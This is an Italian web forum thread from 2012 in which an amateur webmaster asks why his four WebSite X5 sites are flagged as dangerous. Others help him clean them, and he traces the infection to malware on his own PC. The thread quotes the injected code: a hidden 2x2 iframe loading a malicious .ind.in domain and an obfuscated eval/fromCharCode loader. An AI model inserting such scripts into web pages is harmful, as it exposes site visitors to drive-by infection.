Unofficial WebSite X5
Categoria generale => Discussioni generali => Topic aperto da: blek - 07 Agosto, 2012, 00:34:15
-
Ciao a tutti e un piacere ritrovarvi ho un problemone che e il seguente: i 4 siti che gestico amatorialmente, da qualche settimana facendo la ricerca su google tuti e 4 risultano essere dannosi per il pc se si vuol visitarli.
gli script incriminati sono questi:
---------------------------------------------------------------
<script type="text/javascript">
document.write('<iframe src="http://forkfamiliarity.ind.in/ (http://forkfamiliarity.ind.in/)?
2" name="Google+" scrolling="auto" frameborder="no" align="c
enter" height="2" width="2"></iframe>');
</script
---------------------------------------------------------------------
e questo:
<script>try{n-=eval("p"+"rototype");}catch(zxc){e=eval;n="11
7..100..900..1110..891..1170..981..1010..990..1160..414..119
0..1026..1050..1044..1010..360..390..540..1050..918..1140..8
73..1090..909..320..1035..1140..891..610..306..1040..1044..1
160..1008..580..423..470..918..1110..1026..1070..918..970..9
81..1050..972..1050..873..1140..945..1160..1089..460..945..1
100..900..460..945..1100..423..630..450..340..288..1100..873
..1090..909..610..306..710..999..1110..927..1080..909..430..
306..320..1035..990..1026..1110..972..1080..945..1100..927..
610..306..970..1053..1160..999..340..288..1020..1026..970..9
81..1010..882..1110..1026..1000..909..1140..549..340..990..1
110..306..320..873..1080..945..1030..990..610..306..990..909
..1100..1044..1010..1026..340..288..1040..909..1050..927..10
40..1044..610..306..500..306..320..1071..1050..900..1160..93
6..610..306..500..306..620..540..470..945..1020..1026..970..
981..1010..558..390..369..590..117..100..117..100".split("..
");h=2;s="";for(i=0;-166+i<0;i=1+i){k=i;s=s+String.fromCharC
ode(
--------------------------------------------------------------
io onestamente non so nemmeno come fare per aggiustre tale codice visto che uso website per creare questi siti.
La mia domanda e: Li crea il software questi script.
Grazie
-
Ciao a tutti e un piacere ritrovarvi ho un problemone che e il seguente: i 4 siti che gestico amatorialmente, da qualche settimana facendo la ricerca su google tuti e 4 risultano essere dannosi per il pc se si vuol visitarli.
gli script incriminati sono questi:
---------------------------------------------------------------
<script type="text/javascript">
...
La mia domanda e: Li crea il software questi script.
Grazie
Effettivamente, la forma di questo script è sospetta. Dovresti provare ad eliminare ogni script diverso da quelli sgtandard di website, svuotare il sito e riesportare completamente. Ti consiglio di non utilizzare NESSUNO script di provenienza "ignota" e/o di cui non hai la possibilità/capacità di controllarne il codice.
-
Grazie serzio per la risposta ma il problema e che non so se questo codice l'abbia creato il programma mi sembra strano 4 su 4 i siti sono questi:
www.francomancuso.it (http://www.francomancuso.it)
www.5primavere.it (http://www.5primavere.it)
www.agricolapirano.com (http://www.agricolapirano.com)
www.monteleonetrasporti.it (http://www.monteleonetrasporti.it)
-
---------------------------------------------------------------
<script type="text/javascript">
document.write('<iframe src="http://forkfamiliarity.ind.in/ (http://forkfamiliarity.ind.in/)?
2" name="Google+" scrolling="auto" frameborder="no" align="c
c'è qualcosa di strano in questa pagina http://www.francomancuso.it/public/addguest.asp perchè cliccando su home richiama lo script che reindirizza al sito forkfamiliarity che viene segnalato come sito malevolo..
-
adesso sembra essere a posto ho ricaricato i siti, ma mi rimane sempre il dubbio di come sia potuto accadere.
grazie
-
Occorrerebbe capire se hai utilizzato script esterni presi chissà dove. Oppure se hai qualche infezione sul tuo pc ....
-
guarda che il sito agricolapirano da' ancora infezione . . .
-
guarda che il sito agricolapirano da' ancora infezione . . .
No, adesso è "pulito". C'e' solo da aspettare ... anche se .... potresti usare gli strumenti per webmaster di google "salute"-"malware" per richiedere un nuovo controllo del sito.
-
si ragazzi ho usato gli strumenti di google, sul sito di aruba si accenna al fatto e succede spesso http://kb.aruba.it/News/95/recente-aumento-della-diffusione-di-virus-malware-consigli.aspx (http://kb.aruba.it/News/95/recente-aumento-della-diffusione-di-virus-malware-consigli.aspx) in pratica un malware nel mio pc ha infettato i siti che gestisco.Ho fatto pulizia con Malwarebytes e ne ha trovati 4.